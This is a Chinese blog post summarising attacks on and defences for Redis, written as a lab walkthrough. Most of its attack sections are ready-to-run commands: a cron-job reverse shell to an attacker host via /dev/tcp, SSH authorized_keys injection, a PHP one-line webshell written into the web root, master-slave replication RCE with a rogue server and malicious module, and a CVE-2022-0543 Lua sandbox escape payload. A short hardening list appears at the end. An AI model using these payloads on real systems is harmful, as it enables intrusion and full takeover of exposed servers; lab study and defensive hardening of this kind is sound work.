redis攻防总结

原创 已于 2023-04-21 10:05:16 修改 · 375 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#redis #网络安全 #漏洞利用

于 2023-04-21 10:00:29 首次发布
文章详细介绍了Redis的环境搭建过程，包括下载源码、安装、配置和启动服务。接着讨论了Redis的多种利用场景，如通过写入计划任务反弹shell、SSH公钥登录、写入webshell以及主从复制的RCE。同时，提到了Redis的安全防御措施，如绑定IP、设置密码和保护模式。文章还涉及了SSRF和Lua沙盒绕过RCE的利用。

redis攻防总结

redis简介

Redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中（基于内存存储）。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步，从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制，使得从数据库在任何地方同步树时，可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。redis在开发中主要使用的地方：网站的实时点击数、热点新闻数据排行榜等数据量较大且需要实时更新的地方。

一、redis环境搭建

1、前期准备
2、安装redis
	解压：
	tar -zvxf redis-5.0.10.tar.gz
	安装、编译
	cd redis-5.0.10/
	make && make install
3、初始化配置文件
 #运行这条命令，可以选择是否修改配置
[root@localhost redis-5.0.10]# ./utils/install_server.sh
Welcome to the redis service installer
This script will help you easily set up a running redis server

Please select the redis port for this instance: [6379]  # 端口号设置，不设置保持默认
Selecting default: 6379
Please select the redis config file name [/etc/redis/6379.conf]  # 主配置文件
Selected default - /etc/redis/6379.conf
Please select the redis log file name [/var/log/redis_6379.log]  # 服务日志文件
Selected default - /var/log/redis_6379.log
Please select the data directory for this instance [/var/lib/redis/6379] # 数据库目录
Selected default - /var/lib/redis/6379
Please select the redis executable path [/usr/local/bin/redis-server]  # 服务启动命令
Selected config:
Port           : 6379
Config file    : /etc/redis/6379.conf
Log file       : /var/log/redis_6379.log
Data dir       : /var/lib/redis/6379
Executable     : /usr/local/bin/redis-server
Cli Executable : /usr/local/bin/redis-cli	# 连接服务命令
Is this ok? Then press ENTER to go on or Ctrl-C to abort.
Copied /tmp/6379.conf => /etc/init.d/redis_6379
Installing service...
Successfully added to chkconfig!
Successfully added to runlevels 345! # 初始化配置后 会自动启动redis服务 并设置开机运行
Starting Redis server...
Installation successful!

查看服务端口和进程

[root@localhost redis-5.0.10]# netstat -nalp |grep 6379
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      7527/redis-server 1 
[root@localhost redis-5.0.10]# ps -c 7527
   PID CLS PRI TTY      STAT   TIME COMMAND
  7527 TS   19 ?        Ssl    0:03 /usr/local/bin/redis-server 127.0.0.1:6379
4、基本使用
设置参数选择项功能
daemonizeyes、noyes表示启用守护进程（可以后台启动），默认是no即不以守护进程方式运行。其中Windows系统下不支持启用守护进程方式运行
port指定 Redis 监听端口，默认端口为 6379
bind绑定的主机地址,如果需要设置远程访问则直接将这个属性备注下或者改为bind * 即可,这个属性和下面的protected-mode控制了是否可以远程访问 。
protected-modeyes 、no保护模式，该模式控制外部网是否可以连接redis服务，默认是yes,所以默认我们外网是无法访问的，如需外网连接rendis服务则需要将此属性改为no。
timeout300当客户端闲置多长时间后关闭连接，如果指定为 0，表示关闭该功能
logleveldebug、verbose、notice、warning日志级别，默认为 notice
databases16设置数据库的数量，默认的数据库是0。整个通过客户端工具可以看得到
rdbcompressionyes、no指定存储至本地数据库时是否压缩数据，默认为 yes，Redis 采用 LZF 压缩，如果为了节省 CPU 时间，可以关闭该选项，但会导致数据库文件变的巨大。
dbfilenamedump.rdb指定本地数据库文件名，默认值为 dump.rdb
dir指定本地数据库存放目录
requirepass设置 Redis 连接密码，如果配置了连接密码，客户端在连接 Redis 时需要通过 AUTH 命令提供密码，默认关闭
maxclients0设置同一时间最大客户端连接数，默认无限制，Redis 可以同时打开的客户端连接数为 Redis 进程可以打开的最大文件描述符数，如果设置 maxclients 0，表示不作限制。当客户端连接数到达限制时，Redis 会关闭新的连接并向客户端返回 max number of clients reached 错误信息。
maxmemoryXXX 指定 Redis 最大内存限制，Redis 在启动时会把数据加载到内存中，达到最大内存后，Redis 会先尝试清除已到期或即将到期的 Key，当此方法处理 后，仍然到达最大内存设置，将无法再进行写入操作，但仍然可以进行读取操作。Redis 新的 vm 机制，会把 Key 存放内存，Value 会存放在 swap 区。配置项值范围列里XXX为数值。
  • 前台启动
	启动命令：
	/usr/local/bin/redis-server

在这里插入图片描述

前台启动关闭直接ctrl+c停止服务

  • 后台启动

    首先需要开启：daemonize

    进入redis安转文件夹内，有个redis.conf 文件
    在这里插入图片描述

    	启动命令：
	/usr/local/bin/redis-server ./redis.conf

停止服务命令：

[root@localhost redis-5.0.10]# /usr/local/bin/redis-cli
127.0.0.1:6379> shutdown
not connected> exit

或者：
exit 退出客户端，然后执行：/usr/local/bin/redis-cli shutdown

  • 连接redis数据库

    ./bin/redis-cli [-h 127.0.0.1] [-p 6379]  ···用户名、密码等···· #后面参数可选

二、利用总结

1、写入计划任务反弹shell

**注意：**新版本的redis是仅允许本地访问的（可以修改bin *）,一般是配合其他漏洞一起利用。反弹shell这里只在centos中能够利用成功，ubuntu系统由于通过redis写入计划任务后乱码原因导致无法反弹成功。

set x "\n * * * * * bash -i >& /dev/tcp/192.168.83.130/10086 0>&1\n"  //\n为换行符，此处一定要加\n，这样反弹shell语句与其他乱码语句就会分隔开不在同一行，这样才能成功反弹shell
config set dir /var/spool/cron
config set dbfilename root
save

在这里插入图片描述

成功反弹

在这里插入图片描述

2、redis写入ssh公钥登录
  • 环境准备

被攻击方：

记得开启Shh服务配置，允许秘钥登录

命令与Ubuntu略有不同

示例：（重启服务）systemctl restart sshd

最后还得在root目录生成SSH登录的密钥对，即需要有/root/.ssh目录

执行 mkdir /root/.ssh 命令，创建ssh公钥存放目录（若是靶机使用过ssh服务，则会自动生成/root/.ssh文件目录）

攻击方：

在攻击机中生成ssh公钥和私钥，密码设置为空：

ssh-keygen -t rsa

进入.ssh目录：cd .ssh/，将生成的公钥保存到pub_key.txt

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>pub_key.txt
  • 漏洞原理

在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。

  • 写入公钥的前提：

    • Redis服务使用root账号启动

    • 成功连接redis

    • 服务器开放了SSH服务，而且允许使用密钥登录，并且存在/root/.ssh目录，（安装的openssh只要将公钥放入到/root/.ssh文件夹中，无需设置 默认就允许使用公钥登录），即可远程写入一个公钥，直接登录远程服务器。

    • 攻击机上创建ssh-rsa密钥，也就是生成key，这里密码搞成空，全部默认即可

命令：

config set dir /root/.ssh/
config set dbfilename authorized_keys 
# set x "\n\n\n公钥\n\n\n"，将公钥写入x键。前后用\n换行，避免和Redis里其他缓存数据混合
set x "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtL/yMAN6zVa9bo6hibKXvWbtiuUmjDdBlGgPTQAOWV5IPm6rHCGxO++LYp4D5neD+k7PDWLFCb5X4JkZNmAS1VWSe+aiddQpykzVN+EmWkMA1GomWRGmeDI72B2tT79LVpKUuzR5/6+AAlkbKFHd+0ztmbTERkj7W/yZW8jAfp274g3Vmtot2Z3qUwPw3xvzNy9KPauUElW33MGioFplYjPsge6oVZ4ChnHgmoQFCmEXpF1IYFUR2jILSAKmIEQOqg34JSF2ynP7ePFkap+O51Klqw4DtvvfDOHidTaQKboE3acc4M5QHnoQbPP1OLGIl1Af6ozDo8I3HC6dgiBVrr7WHU0nn7fwl3olVm0cswTVjNSO8BLbajb546kFZkR9hA9k6MlQoiAa20tFv1+ihrl5LK1UA396mzX9hS8l786UMAyKOxZ1j/ld1GPUVhCNnOaFYaHpGbntXAVsSpDFrIi3Sb/bQUVCjLQHlca/6gwLNBozIp/dwU/uwA4+l02U= root@kali\n\n\n"
save

如果可以上传文件到目标主机或可以远程连接redis，可以直接读key文件,将内容写入

示例：

cat /root/.ssh/pub_key.txt | redis-cli -h 192.168.26.133 -x set pub

成功写入

在这里插入图片描述

ssh成功登录

ssh -i id_rsa root@192.168.83.141

在这里插入图片描述

3、redis写入webshell

漏洞原理

靶机的redis存在未授权访问，并且开启了web服务，知道了web目录的路径，并具有文件读写增删改查的权限，即可通过redis在指定的web目录下写入一句话木马，用蚁剑等连接可达到控制服务器的目的。

config set dir /var/www/html/  #切换到网站的根目录
config set dbfilename test.php   #在磁盘中生成木马文件
set xxx "\n\n\n<?php @system($_POST['cmd']);?>\n\n\n"   #写入恶意代码到内存中，这里的\n\n\n代表换行的意思，用redis写入文件的会自带一些版本信息，如果不换行可能会导致无法执行.
save    #将内存中的数据导出到磁盘

这里使用winserver2019和phpstudy2018搭建环境（centoss没有搭建web服务，这里rediss为3版本）

在这里插入图片描述

在这里插入图片描述

成功执行

在这里插入图片描述

4、主从复制RCE

  • 漏洞原理：

    漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后，通过外部拓展可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。

  • 利用前提:

    • redis 4.x/5.x
    • 无需root账号启动redis，普通权限也可以

  • 什么是主从复制?

    主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。

    Redis的持久化使得机器即使重启数据也不会丢失，因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除，而主从复制则能解决这个问题，主redis的数据和从redis上的数据保持实时同步，当主redis写入数据是就会通过主从复制复制到其它从redis。

  • 环境搭建

    centos7作为主机，Ubuntu18.04作为从机，注意保持两台主机互通 ，需要关闭redis保护模式和允许主从机相互访问（bin设置）

     #Ubuntu执行下面命令，成为centos的从机，ip端口为centos（主）redis服务
 slaveof 192.168.83.143 6379

在这里插入图片描述
在这里插入图片描述

  • 复现

    由于从机不能写操作，所以我们无法使用上面三种方式得到从机的权限所以我们必须利用主从复制的性质往从机写入利用脚本，达到getshell的目的。

    情况1：如果我们可以直接访问到从机，可以直接使用利用工具getshell。

    情况2：但如果仅允许本地访问或其主机访问，则需要拿下其主机或者利用其他漏洞（例如ssrf），将其主机设置为我们的vps（指我们能控制的VPS，如果 能拿下从机的主机那也可以是主机 ），将恶意脚本同步过去，实现getshell。

    下面演示通过其主机（也可以是你的VPS，视从机情况而定）同步加载恶意脚本的情况：

    • 利用工具

    利用工具：https://github.com/Ridter/redis-rce

    利用脚本exp.so：https://github.com/vulhub/redis-rogue-getshell

    python redis-rce.py -r 192.168.83.149 -L 127.0.0.1 -f exp.so

    成功获得shell（这里是主机连接从机）

在这里插入图片描述

  • 主机写计划任务，同步到从机

    由于从机没有写操作，可以利用主从复制写任务

    set x "\n * * * * * bash -i >& /dev/tcp/192.168.83.130/10086 0>&1\n"

    同步到从机后，从机设置路径，报存

    config set dir /var/spool/cron
config set dbfilename root
save

    成功收到shell

在这里插入图片描述

下面演示从机仅允许本地访问的情况，一般配合其他漏洞使用（比如SSRF）

这种情况需要从机主动连接我们的vps(攻击机)

首先使用工具：https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

开启主服务，作为从机的主机

在这里插入图片描述

从机设置目录，将主机地址设置为攻击机，同步主机

slaveof no one   #down掉原来的主机
config set dir /tmp
config set dbfilename exp.so
slaveof 192.168.83.130 15000

加载从攻击机上下载来的恶意模块 (我们上面存在了/tmp下exp.so)

module load ./exp.so	#内部加载模块
module list      #显示模块

在这里插入图片描述

使用加载的模块执行命令（工具支持5.05以下，我这里是5.0.10）

正常情况是第二个 system。这工具 里的module.so编译有问题，需自己重新编译：https://github.com/vulhub/redis-rogue-getshell
在这里插入图片描述

反弹shell

在这里插入图片描述
在这里插入图片描述

5、ssrf+redis

当我们检测出一个网站存在SSRF漏洞的时候，我们就可以探测当前或者内网主机开放的端口，而这些端口往往我们从外网是不能直接探测到的，所以可以尝试利用ssrf探测内网开放的端口，当探测处内网存在redis的时候，则可以尝试进行攻击。

6、Redis Lua 沙盒绕过rce

复现参考vulhub：
CVE-2022-0543漏洞影响的版本只限于Debian 和 Debian 派生的 Linux 发行版（如Ubuntu）上的 Redis 服务。
安全研究人员发现在 Debian 上，Lua 由 Redis 动态加载，且在 Lua 解释器本身初始化时，module和require以及package的Lua 变量存在于上游Lua 的全局环境中，而不是不存在于 Redis 的 Lua 上，并且前两个全局变量在上个版本中被清除修复了，而package并没有清楚，所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); 
local io = io_l(); 
local f = io.popen("id", "r"); 
local res = f:read("*a"); 
f:close(); 
return res' 0

三、 Redis防御

  • 绑定本地和内网ip地址进行访问,如本地ip：bind 127.0.0.1,192.168.54.1
  • requirepass设置redis密码，（默认为空）
  • 保护模式开启protected-mode开启（默认开启）
  • 更改默认端口（6379）
  • 避免使用root权限使用,建一个普通账号专门用于启动redis
redis攻防知识汇总
admin的博客
05-13 347
Redis默认情况下是绑定在0.0.0.0:6379端口的，如果没有设置密码（一般密码为空）或者密码为弱密码的情况下并且也没有进行有效保护措施，那么处于公网的redis服务就会被任意的用户未授权访问，读取数据，甚至利用redis自身的命令，进行写入文件操作，这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
服务攻防_01数据库安全Redis&Couchdb&H2database
fencecat的博客
07-20 1594
本节内容涵盖了对几种常见数据库可能存在的安全漏洞进行复现的方法，包括Redis的未授权访问与已知CVE漏洞、CouchDB的未授权越权漏洞与已知CVE漏洞，以及H2 Database的未授权访问漏洞与已知CVE漏洞。
和redis_Redis攻防
weixin_35810223的博客
12-30 254
　简单来说 redis 就是一个数据库，不过与传统数据库不同的是 redis 的数据是存在内存中的，所以读写速度非常快，因此 redis 被广泛应用于缓存方向，redis默认端口是6379，由于redis被广泛使用，自然而然安全区域也备受挑战。计划任务反弹shellredis写入公钥利用私钥登录sshredis往web物理路径写webshellssrf通内网redis反弹shell利用R...
redis安全攻防
qq_42307546的博客
09-06 258
Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。从2010年3月15日起，Redis的开发工作由VMware主持。从2013年5月开始，Redis的开发由Pivotal赞助。 00x1 readis安装和使用 (5条消息) linux安装部署redis,linux下redis安装部署_谢平凡的博客-优快云博客 (5条消息) redis设置允.
redis安全攻防（专注渗透视角）
LainWith的博客
04-11 3529
数据库作为业务平台信息技术的核心和基础，承载着越来越多的关键数据，渐渐成为单位公共安全中最具有战略性的资产，数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露，轻则造成企业经济损失，重则影响企业形象，甚至行业、社会安全。可见，数据库安全至关重要。所以对数据库的保护是一项必须的，关键的，重要的工作任务。
网络安全进阶篇（十二章-4）redis攻防总结（下）
划水的小白白
03-28 730
五、利用主从复制RCE 5.0 通过写入文件getshell的缺点 5.1 定义 5.2 利用工具的使用 5.3 注意点 六、本地redis主从复制RCE 反弹shell 6.1 第“ 五 ”部分的缺点 6.2 攻击机器执行命令 6.3 目标机器执行命令 七、ssrf redis 反弹shell（以网鼎杯的一道题目来介绍） 7.0 补充知识之0.0.0.0与127.0.0.1 7.1 解题思路 7.2 绕过条件判断的关键代码 7.3 利用主从复制漏洞进行攻击 7.4 附带通过gopher协议写webshel
redis学习心得与笔记
01-23
总结，Redis凭借其高效、灵活的特性，在数据库缓存领域扮演着重要角色。理解并熟练掌握Redis的使用，能显著提升系统的性能和稳定性。通过不断地实践和学习，我们可以更好地利用Redis解决实际问题，优化系统架构。
redis增加ip白名单
最新发布
ztc131450的博客
03-12 1281
IP白名单是一种网络安全机制，用于限制可以访问服务器的IP地址列表。只有在白名单中的IP地址才能访问服务器，其他IP地址将被拒绝访问。这样可以有效保护服务器免受恶意攻击和非法访问。通过本文的介绍，你应该已经了解了如何使用Redis来实现IP白名单功能。通过将IP地址存储在Redis的Set集合中，并在访问时进行检查，可以有效地限制访问服务器的IP地址范围，提高服务器的安全性。希望本文对你有所帮助！
攻防演练2021纪实与总结
随便记记笔记
04-27 4422
2020年在蓝方，银行系某单位负责某厂商设备的监控 2021年在红方 不管对于蓝方还是红方，资产梳理都十分重要，资产梳理对蓝方来说可以快速的定位到发生问题的位置，及时响应，对红方有助于理解蓝方的组织结构，网络结构，找到关键点 蓝方 监控面临的很大的问题就是日至太多 某正部级单位， 通过某直属单位的OA系统，一个致远OA，1day没有补，权限绕过+后台任意文件上传拿了root的shell 然后通过数据库配置文件，拿到OA的mysql数据库的用户名密码 内网扫了一下有一些ssh和mysql的弱口令，还有redi
Redis缓存与集群优化：攻防策略与解决方案
总结来说，本章内容深入剖析了Redis在企业中的实际应用场景，以及如何通过缓存管理和集群技术来优化其性能，降低对数据库的压力，确保系统的稳定性和可扩展性。学习和掌握这些概念和技术，对于理解和应对现代IT环境...
网络安全进阶篇（十二章-3）redis攻防总结（上）
划水的小白白
03-28 1214
一、redis未授权访问 1.1 定义 1.2 未授权访问原因 1.3 redis服务的搭建 1.4 redis的配置 1.5 加载配置文件启动redis服务 1.6 查看redis服务是否启动 1.7 使用攻击机器测试是否存在未授权 1.8 Redis常用命令 1.9 修复方法见“ 八 ” 二、redis 写webshell 2.1 命令 2.2 访问测试写入的一句马 2.3 执行命令的顺序可以稍微变化 三、redis 密钥登录ssh 3.1 不存在未授权的情况： 3.2 写入root的条件（利用条件）
服务攻防之Redis数据库安全
qq_63831588的博客
10-20 1137
Redis简单介绍_redis简介-优快云博客这里给大家一篇文章大家可以阅读参考一下，总而言之redis是一款目前用的非常多的非关系型数据库，她不像我们的mysql属于关系型数据库！正是因为他用的非常多所以安全问题也是一个经常被人讨论的问题！
CTF - WEB redis的简介与利用
iamsongyu的博客
11-17 3276
        Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。         Redis 是一个高性能的key-value数据库。 redis的出现，很大程度补偿了memcached这类key/value存储的不足，在部 分场合可以对关系数据库起到很好的补充作用。              --百度 ...
ctfhub--redis协议（巧用redis攻击内网）
qq_64201116的博客
06-28 2602
使用redis未授权访问或弱口令攻击内网
Redis缓存三大杀手：击穿、穿透、雪崩全场景攻防实战
hy9523的博客
03-07 524
#缓存穿透解决方案 #布隆过滤器 #热点缓存重建 #高并发设计 #SpringCache #Redisson分布式锁。
渗透测试之地基服务篇：服务攻防之数据库Redis（下）
wangluoanquan111的博客
08-01 463
渗透测试-地基篇该篇章目的是重新牢固地基，加强每日训练操作的笔记，在记录地基笔记中会有很多跳跃性思维的操作和方式方法，望大家能共同加油学到东西。请注意本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用KaliLinux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。名言：你对这行的兴趣，决定你在这行的成就！
数据库攻防之Redis
m0_71745754的博客
01-17 1297
Redis（Remote Dictionary Server）是一个由 Salvatore Sanfillppo 写的 key-value存储系统。是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库，并提供多种语言的API。通常被称为数据结构服务器，因为值（value）可以是字符串（string）、哈希（hash）、列表（list）、集合（sets）和有序集合（sortedsets）等类型。
ubuntu的redis反弹shell总结
qq_15042405的博客
02-25 1533
ubuntu的redis反弹shell总结 ubuntu要执行有三点： 1、ubuntu的默认执行命令的为/bin/dash，我们使用bash -i肯定是弹不了的。 2、ubuntu计划任务运行有语法要求，redis写入的文件存在缓存数据，导致语法错误无法运行计划任务。 3、文件需要是600 rw权限，权限不对也不能运行，不过我直接写入貌似就是600 rw。 参考链接：http://www.vkxss.top/2019/05/28/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95-R
Redis攻防(未授权访问、利用redis写入webshell、任务计划反弹、Shellssh-keygen 公钥登录服务器、利用主从复制RCE)
热门推荐
Love&Share
12-13 1万+
文章目录未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCEwindowsSSRF安全设置 REmote DIctionary Server(Redis) 是一个 key-value 存储系统，是跨平台的非关系型（Nosql）数据库 关于Redis可以看菜鸟教程： https://www.runoob.com/redis/redis-tutorial.html 未授权访问 主要是因为配置不当，导致未授权访问漏洞，进一步将恶意数据写入内.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值